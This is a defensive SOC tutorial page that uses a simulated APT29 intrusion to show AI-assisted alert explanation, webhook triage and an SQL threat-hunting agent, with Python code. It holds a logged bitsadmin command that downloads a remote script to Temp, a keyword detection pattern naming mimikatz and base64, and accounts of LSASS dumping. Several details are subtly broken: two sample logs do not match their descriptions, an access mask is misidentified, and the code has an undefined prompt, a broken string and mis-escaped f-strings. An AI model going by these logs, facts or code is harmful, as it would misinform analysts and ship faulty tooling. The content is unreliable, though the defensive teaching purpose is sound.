AI in SecOps Success Kit
About This Scenario
Every artifact on this page was generated from a simulated APT29 phishing campaign against a fictional medium-sized company. The logs are synthetic but structurally authentic — built by combining real attack technique recordings from the Mordor dataset with a procedurally generated org topology. No real infrastructure was targeted.
Phase 1 · Use AI Chatbot
Use AI to interpret raw logs and explain why an alert matters
Tool: ChatGPT · Claude · Gemini (all free)
How to use this section
Below are four real log events from our simulated attack, one per stage of the kill chain. Expand each one, copy the raw log, paste it into any free AI tool, then use the prompt template at the bottom to get an instant analyst-grade explanation.
1
Initial Access / Delivery
T1197 – BITS Jobs
The attacker used Windows' built-in BITSAdmin utility to silently download a malicious PowerShell script from a remote URL. Because BITS is a legitimate Windows service, many security tools overlook it — but the destination URL and dropped filename are strong red flags.
What to look for
- bitsadmin.exe spawned by cmd.exe or a user process
- Outbound connection to an unknown or paste-site URL
- Dropped file with an unusual extension or path (AppData\Temp)
- Parent process mismatch (BITS launched by cmd, not a Windows service)
Raw Sysmon Log Event
{
"kill_chain_step": 1,
"EventID": 1,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-01.holodeck.corp",
"User": "CORP\\SYSTEM",
"Image": "C:\\Windows\\System32\\bitsadmin.exe",
"CommandLine": "bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\\Users\\wardog\\AppData\\Local\\Temp\\bitsadmin1_flag.ps1",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"ParentCommandLine": "\"C:\\windows\\system32\\cmd.exe\" ",
"Hashes": "SHA1=282DA9EE622F01CC63352E53FDC3D4A75CEEB6FD,MD5=A23A7A6B6F8E1A5D913EA119F5F2ED1A,SHA256=EAAE8536D554D0E86D8540A8B34DB2649BD884843F389495D0B6E91636C6CF54,IMPHASH=B0A3CFF8CFDE112945189719F82F9EA9",
"@timestamp": "2026-01-14T00:00:02.876000+00:00"
}
2
Execution / C2 Establishment
T1059.001 – PowerShell
A PowerShell HTTP listener was spun up, creating an inbound C2 channel. The process masquerades as a legitimate svchost BITS service invocation, but the parent-child relationship and timing betray it.
What to look for
- PowerShell with -WindowStyle Hidden or -NoProfile flags
- Unusual parent for svchost.exe (should be services.exe)
- Inbound or localhost network socket opened by powershell.exe
- Script execution shortly after the BITSAdmin download
Raw Sysmon Log Event
{
"kill_chain_step": 2,
"EventID": 1,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-01.holodeck.corp",
"User": "CORP\\SYSTEM",
"Image": "C:\\Windows\\System32\\svchost.exe",
"CommandLine": "C:\\windows\\System32\\svchost.exe -k netsvcs -p -s BITS",
"ParentImage": "C:\\Windows\\System32\\services.exe",
"ParentCommandLine": "C:\\windows\\system32\\services.exe",
"@timestamp": "2026-01-14T00:00:02.919000+00:00"
}
3
Discovery
T1592 – Seatbelt Enumeration
Seatbelt.exe, a well-known post-exploitation reconnaissance tool, was executed with the '-group=user' flag to enumerate local users, groups, and privilege details. This is standard attacker tradecraft before attempting lateral movement.
What to look for
- Seatbelt.exe anywhere on disk (it's never a legitimate admin tool)
- Process creation from a non-standard path (Desktop, Temp, Downloads)
- User enumeration commands shortly after initial compromise
- Parent process is the same C2 shell established in step 2
Raw Sysmon Log Event
{
"kill_chain_step": 3,
"EventID": 1,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-02.holodeck.corp",
"User": "CORP\\SYSTEM",
"Image": "C:\\Users\\wardog\\Desktop\\Seatbelt.exe",
"CommandLine": "Seatbelt.exe -group=user",
"ParentImage": "C:\\Windows\\System32\\cmd.exe",
"@timestamp": "2026-01-14T02:00:03.041000+00:00"
}
4
Credential Access
T1003.001 – LSASS Memory
Outflank-Dumpert.exe directly accessed lsass.exe memory using syscalls to bypass common AV hooks. This extracts cleartext credentials and NTLM hashes, enabling lateral movement across the network.
What to look for
- Any process opening lsass.exe with PROCESS_VM_READ access (0x1fffff)
- Known dumper tool names: Dumpert, Mimikatz, ProcDump targeting lsass
- Prefetch file created for a credential-dumping executable
- Syscall-based access bypasses common hooks — look at CallTrace
Raw Sysmon Log Event
{
"kill_chain_step": 4,
"EventID": 10,
"SourceName": "Microsoft-Windows-Sysmon",
"Hostname": "SALES-LAP-01.holodeck.corp",
"SourceImage": "C:\\windows\\system32\\svchost.exe",
"TargetImage": "C:\\windows\\system32\\lsass.exe",
"GrantedAccess": "0x1000",
"CallTrace": "C:\\windows\\SYSTEM32\\ntdll.dll+9c584|C:\\windows\\System32\\KERNELBASE.dll+6af15|c:\\windows\\system32\\lsm.dll+ff97|C:\\windows\\System32\\RPCRT4.dll+76a63|C:\\windows\\System32\\RPCRT4.dll+da036|C:\\windows\\System32\\RPCRT4.dll+37b7c|C:\\windows\\System32\\RPCRT4.dll+549f8|C:\\windows\\System32\\RPCRT4.dll+2c9b1|C:\\windows\\System32\\RPCRT4.dll+2c26b|C:\\windows\\System32\\RPCRT4.dll+1a8cf|C:\\windows\\System32\\RPCRT4.dll+19d7a|C:\\windows\\System32\\RPCRT4.dll+19361|C:\\windows\\System32\\RPCRT4.dll+18dce|C:\\windows\\System32\\RPCRT4.dll+16a05|C:\\windows\\SYSTEM32\\ntdll.dll+333ed|C:\\windows\\SYSTEM32\\ntdll.dll+34142|C:\\windows\\System32\\KERNEL32.DLL+17c24|C:\\windows\\SYSTEM32\\ntdll.dll+6cea1",
"@timestamp": "2026-01-14T00:00:02.913000+00:00"
}
Phase 2 · Use AI in Automation
Wire AI into your alert pipeline — from a single webhook to full triage
Tool: Python · FastAPI · LiteLLM
The pattern
Once you've confirmed AI can explain a single alert, the next move is automation: Alert → Webhook → AI Analysis → Ticket. The handler below exposes a POST /triage endpoint. Point your SIEM at it and every alert gets classified, MITRE-mapped, and returned as structured JSON ready for ticket creation — or wire any no-code tool (N8N, Zapier, Make) to call it.
Workflow
🚨SIEM Alert
→
⚡Webhook
→
🤖AI Analysis
→
🎫Create Ticket
Use AI in Automation – Webhook Triage Handler
Drop this in front of your SIEM. It exposes a POST /triage endpoint: your SIEM fires a webhook, the handler calls an LLM with structured output, and returns ticket-ready JSON you can forward to Jira, ServiceNow, or Slack. Wire any no-code tool (N8N, Zapier, Make) to this endpoint instead of calling the LLM directly — the structured output guarantees consistent fields every time.
Prompt Template
from fastapi import FastAPI
from pydantic import BaseModel, Field
from typing import List, Literal
from litellm import completion
import uvicorn
app = FastAPI()
class TriageResult(BaseModel):
severity: Literal["critical", "high", "medium", "low"]
summary: str = Field(description="One sentence: what happened and why it matters")
mitre_technique: str = Field(description="Best-fit ATT&CK ID + name, e.g. T1197 – BITS Jobs")
next_steps: List[str] = Field(description="Exactly 3 concrete analyst actions")
escalate: bool = Field(description="True if a human should act within 30 minutes")
confidence: int = Field(description="1-10. How certain is this classification.")
class AlertPayload(BaseModel):
alert: dict # raw alert from your SIEM
model: str = "claude-haiku-4-5-20251001" # cheap model is fine for triage
@app.post("/triage", response_model=TriageResult)
def triage(payload: AlertPayload):
import json
alert_text = json.dumps(payload.alert, indent=2)
resp = completion(
model=payload.model,
messages=[
{"role": "system", "content": SYSTEM_PROMPT},
{"role": "user", "content": f"Alert data:\n{alert_text}"},
],
response_format=TriageResult,
)
return TriageResult.model_validate_json(resp.choices[0].message.content)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
Phase 3 · Build your own AI Agent
Watch Claude hunt through real logs — then replicate it with your own data
Tool: Python · LiteLLM
What you're looking at
This is an actual AI threat hunt — Claude Opus reasoning through the same APT29 simulation, writing SQL queries against a log database, and discovering the attack step-by-step. Each turn shows the reasoning, the query, and what was found. Green turns are moments a new piece of evidence was discovered.
1
The analyst (Claude) starts the same way a human would: get oriented. How many events are there? What time range? What hosts? This is good tradecraft — don't assume, measure first.
SELECT MIN("@timestamp") as earliest, MAX("@timestamp") as latest, COUNT(*) as total_events, COUNT(DISTINCT "host") as hosts FROM logs
2
The first query that hits gold. By grouping events by EventID and timestamp range, Claude immediately sees which event types are present and when activity clusters. This single query gives a map of the battlefield.
SELECT "EventID", COUNT(*) as cnt, MIN("@timestamp") as earliest, MAX("@timestamp") as latest FROM logs WHERE "@timestamp" != '' GROUP BY "EventID" ORDER BY cnt DESC LIMIT 20
3
Log clearing (EventID 1102) is a classic attacker cleanup move — they're trying to hide their tracks. Claude finds it early and flags the exact hosts and users involved.
SELECT "@timestamp", "EventID", "SourceName", "Channel", "SubjectUserName", "SubjectDomainName", "Message" FROM logs WHERE "EventID" IN ('1102', '104') ORDER BY "@timestamp"
4
Now Claude goes hunting for the delivery mechanism. It searches for suspicious command-line patterns across all process creation events.
SELECT "@timestamp", "Image", "CommandLine", "ParentImage", "ParentCommandLine", "User" FROM logs WHERE "EventID" = '1' AND ("CommandLine" LIKE '%powershell%' OR "CommandLine" LIKE '%cmd%' OR "CommandLine" LIKE '%whoami%' OR "CommandLine" LIKE '%net %' OR "CommandLine" LIKE '%mimikatz%' OR "CommandLine" LIKE '%invoke%' OR "CommandLine" LIKE '%download%' OR "CommandLine" LIKE '%encode%' OR "CommandLine" LIKE '%base64%' OR "CommandLine" LIKE '%bypass%') ORDER BY "@timestamp" LIMIT 10
5
The credential theft is exposed. Outflank-Dumpert.exe opened lsass.exe with PROCESS_VM_READ access — the signature of a memory dump. Claude recognizes the tool name and access mask immediately.
SELECT "@timestamp", "SourceImage", "TargetImage", "GrantedAccess", "CallTrace" FROM logs WHERE "EventID" = '10' AND "TargetImage" LIKE '%lsass%' ORDER BY "@timestamp" LIMIT 10
Build your own AI Agent – The ReAct Loop
This is the actual agent loop powering the hunt walkthrough above. The key insight: force structured output so the model can't hallucinate a tool call — it must emit valid JSON with a reasoning trace, a tool name, and the right arguments. Copy this, point it at your log database, and the model will drive its own investigation.
Prompt Template
from litellm import completion
from pydantic import BaseModel, Field
from typing import Optional, List
class HunterAction(BaseModel):
reasoning: str = Field(
description="Step-by-step thinking: what did I find, what does it mean,
what should I query next? Never leave this empty."
)
tool: str = Field(
description="One of: 'run_sql' | 'submit_flags' | 'give_up'"
)
sql_query: Optional[str] = Field(
None, description="Required when tool='run_sql'"
)
suspicious_timestamps: Optional[List[str]] = Field(
None, description="ISO timestamps of malicious events. Required when tool='submit_flags'"
)
SYSTEM_PROMPT = """
You are an expert threat hunter. A log database contains evidence of a
security breach. Your job: find every malicious event by writing SQL queries.
Database: table 'logs' with columns:
@timestamp, EventID, SourceName, Hostname, User,
Image, CommandLine, ParentImage, TargetImage,
DestinationIp, DestinationPort, TargetFilename
AVAILABLE TOOLS:
run_sql - Execute a SQL SELECT. Costs one turn.
submit_flags - Record the @timestamp of each malicious event you found.
give_up - End the hunt.
Be efficient. You have 20 queries. Start broad (event counts, time ranges),
then narrow toward suspicious activity.
"""
def run_hunt(db_conn, model="claude-opus-4-6"):
history = [{"role": "system", "content": SYSTEM_PROMPT}]
obs = "Begin the investigation. The log database is ready."
for turn in range(20):
history.append({"role": "user", "content": obs})
resp = completion(
model=model,
messages=history,
response_format=HunterAction,
)
action = HunterAction.model_validate_json(
resp.choices[0].message.content
)
history.append({"role": "assistant", "content": resp.choices[0].message.content})
print(f"[Turn {turn+1}] tool={{action.tool}}")
print(f" Reasoning: {{action.reasoning[:120]}}...")
if action.tool == "run_sql":
rows = db_conn.execute(action.sql_query).fetchall()
obs = f"Query returned {{len(rows)}} rows:\n{{rows[:10]}}"
elif action.tool == "submit_flags":
print(f" Flagged {{len(action.suspicious_timestamps)}} events")
obs = f"Recorded {{len(action.suspicious_timestamps)}} timestamps."
elif action.tool == "give_up":
print(" Agent gave up.")
break
return history